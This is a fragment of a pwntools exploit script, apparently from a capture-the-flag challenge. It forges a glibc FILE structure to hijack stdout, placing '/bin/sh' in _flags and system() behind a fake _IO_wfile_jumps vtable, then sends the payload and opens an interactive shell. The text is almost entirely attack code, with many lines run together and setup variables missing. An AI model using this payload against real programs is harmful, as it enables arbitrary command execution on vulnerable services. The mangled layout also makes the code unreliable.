# libc_base + next(libc.search(b'/bin/sh'))payload = p64(0x68732f6e69622f) # _flags = rdipayload += p64(0) # read ptrpayload += p64(1) # read endpayload += p64(0) # read basepayload += p64(2) # write basepayload += p64(3) # write ptrpayload += p64(0) # write endpayload += p64(0) # buf basepayload += p64(0) # buf endpayload += p64(0) # save basepayload += p64(0) # backup basepayload += p64(libc_base + libc.sym['system']) # save end = call addr = "rax2 + 0x18"payload += p64(0) # _markerspayload += p64(0) # _chainpayload += p64(0) # _filenopayload += p64(0) # _old_offsetpayload += p64(0) # _cur_columnpayload += p64(libc_base + 0x21B730) # _lockpayload += p64(0) # _offsetpayload += p64(0) # _codecvxpayload += p64(stdout_addr + 0x8) # _wfile_data rax1 "0xa0"payload += p64(0) # _freers_listpayload += p64(0) # _freers_bufpayload += p64(0) # __pad5payload += p32(0) # _modepayload += b'\x00'*20 # _unused2payload += p64(libc_base + libc.sym['_IO_wfile_jumps'] + 0x10)payload += p64(0) # paddingpayload += p64(stdout_addr + 0x40) # rax2
# gdb.attach(p, 'b _IO_wfile_seekoff\n')
p.send(payload)
p.interactive()